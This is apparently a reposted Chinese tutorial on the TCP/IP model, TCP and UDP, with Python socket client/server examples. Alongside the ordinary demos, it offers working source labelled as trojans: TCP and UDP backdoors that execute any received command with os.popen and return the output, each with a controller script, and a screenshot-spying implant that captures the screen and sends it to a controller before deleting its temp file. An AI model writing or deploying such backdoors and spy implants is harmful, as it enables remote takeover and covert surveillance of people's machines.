TCP/IP网络模型概念
应用层ftp/http/https/websocket/websockets/DNS/…传输层提供端对端的接口 (point to point 2 p2p p4p):TCP/UDP网络层为路由包选择路由:ip/icmp/rip/BGP/IGMP/…链路层以二进制数据性质进行物理媒体上传输数据和传输有地址的帧和有检测错误的功能
TCP
传输控制协议,是有连接,有顺序,且可以根据网络情况进行调整,有拥塞机制特点:
有连接,3次握手和4次断握 断握 功能单一
单播传输 面向字节流可靠传输提供拥塞机制全双工通信
TCP通信-服务器端
import socket
tcpserver = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
serverAddr = ('',12312)
tcpserver.bind(serverAddr)
tcpserver.listen(5)
while True:
client,addr = tcpserver.accept()
print(client)
print(addr)
fromclientdata = client.recv(4096).decode()
print(fromclientdata)
client.send("来自服务器的消息1".encode())
client.close()
TCP通信-服务器端
import socket
import time
tcpclient = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
serveradds = ('127.0.0.1',12312)
try:
tcpclient.connect(serveradds)
print("连接成功")
except Exception as e:
print("连接不成功")
while True:
tcpclient.send("Client1-来自客户端的消息1".encode())
fromserverdata = tcpclient.recv(4096).decode()
print(fromserverdata)
tcpclient.close()
TCP msf远程控制木马-受控端-exe
from socket import *
import os
exe = socket(AF_INET,SOCK_STREAM)
addr = ('',14445)
exe.bind(addr)
exe.listen(5)
while True:
console,consoleadds = exe.accept()
while True:
cmd = console.recv(4096)
if len(cmd)>0:
decmd = cmd.decode('utf-8')
print("console:"+decmd)
res = os.popen(decmd)
res = res.read()
console.send(res.encode('utf-8'))
else:
break
console.close()
TCP msf远程控制木马-控制端
from socket import *
console = socket(AF_INET,SOCK_STREAM)
addr = ("127.0.0.1",14445)
console.connect(addr)
while True:
sendcmd = input(">>")
if len(sendcmd)>0:
console.send(sendcmd.encode('utf-8'))
else:
print("命令不能为空")
break
msfres = console.recv(4096)
print(msfres.decode('utf-8'))
TCP 远程监控截屏木马-受控端-exe
import socket,sys,threading
import pyautogui
import time
import os
import struct
def socket_console():
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('127.0.0.1',14446))
except socket.error as e:
print(e)
sys.exit(1)
while 1:
print("开始截屏")
time.sleep(2)
img = pyautogui.screenshot()
img.save('temp.jpg')
print("截屏结束")
filepath = 'temp.jpg'
if os.path.isfile(filepath):
fileinfo_size = struct.calcsize("128sl")
filehead = struct.pack('128sl',bytes(os.path.basename(filepath).encode('utf-8')),os.stat(filepath).st_size)
print(filehead)
s.send(filehead)
fp = open(filepath,'rb')
while 1:
data = fp.read(1024)
if not data:
print("读取完毕,没有数据")
break
s.send(data)
s.close()
break
if __name__ == '__main__':
socket_console()
os.remove('temp.jpg')
TCP 远程监控截屏木马-控制端
import socket,sys,threading,os
import struct
def socket_service():
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind(('',14446))
s.listen(10)
except socket.error as e:
print(e)
sys.exit(1)
print("Waiting......")
while 1:
console,addr = s.accept()
t = threading.Thread(target=deal_data,args=(console,addr))
t.start()
def deal_data(console,addr):
print("一个新的连接{}".format(addr))
while 1:
fileinfo_size = struct.calcsize("128sl")
buf = console.recv(fileinfo_size)
if buf:
filename,filesize = struct.unpack('128sl',buf)
fn = filename.strip(str.encode('\00'))
print(fn)
newfn = os.path.join(str.encode('./'),str.encode('new_')+fn)
print("新文件名为:{},新文件大小为:{}".format(newfn,filesize))
recvd_size = 0
recvfp = open(newfn,'wb')
print("开始接收......")
while not recvd_size==filesize:
if filesize-recvd_size>1024:
data = console.recv(1024)
recvd_size+= len(data)
else:
data = console.recv(filesize-recvd_size)
recvd_size = filesize
recvfp.write(data)
recvfp.close()
print("文件接收完成")
console.close()
break
if __name__ == '__main__':
socket_service()
UDP
用户数据报协议,是一种无连接的协议特点:
面向无连接
它不会像TCP一样有握手和断握的处理机制,它只是数据的搬运工,且不会对数据进行任何的拆分和拼接操作在发送端:应用层将数据传递给传输层的UDP,UDP增加一个UDP标识头以后,就将数据传给网络层在接收端:网络层将数据传递给传输层,UDP只去除IP报文头就传递给应用层,不会对数据做任何操作 功能较多
单播多播广播 面向报文
不会改变任何已经有的报文,因此需要选择合适大小的报文进行传递 可靠性
由于无连接,因此不可靠数据不可变和拆,大小不变,不会关心是否已经正确接收到数据网络环境变化,不可靠,UDP没有拥塞机制,以智慧以恒定的速度进行传输 头部开销小
UPD通信-服务器端
import socket
udpserver = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
udpserver.bind(("127.0.0.1",6000))
print("UDP启动成功!")
while True:
data,addr = udpserver.recvfrom(1024)
print("用户端说:{}".format(data))
sdata = input(">>")
udpserver.sendto("服务器说:{}".format(sdata).encode(),addr)
UDP通信-客户端
import socket
udpclient = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
serveraddr = ("127.0.0.1",6000)
while True:
data = input(">>")
if not data:
continue
udpclient.sendto(data.encode(),serveraddr)
sdata,saddr = udpclient.recvfrom(1024)
print("<<{}".format(sdata.decode()))
UDP msf远程控制木马-受控端
import socket
import os
c = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
c.bind(('',14444))
while True:
data,addr = c.recvfrom(4096)
cmd = data.decode()
res = os.popen(cmd,'r')
res = res.read()
c.sendto(res.encode(),addr)
UDP msf远程控制木马-控制端-console
import socket
c = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
adds = ('127.0.0.1',14444)
data = input(">>")
c.sendto(data.encode(),adds)
sdata,saddr = c.recvfrom(4096)
print("{}".format(sdata.decode()))
转载请注明原文地址:https://ipadbbs.8miu.com/read-10125.html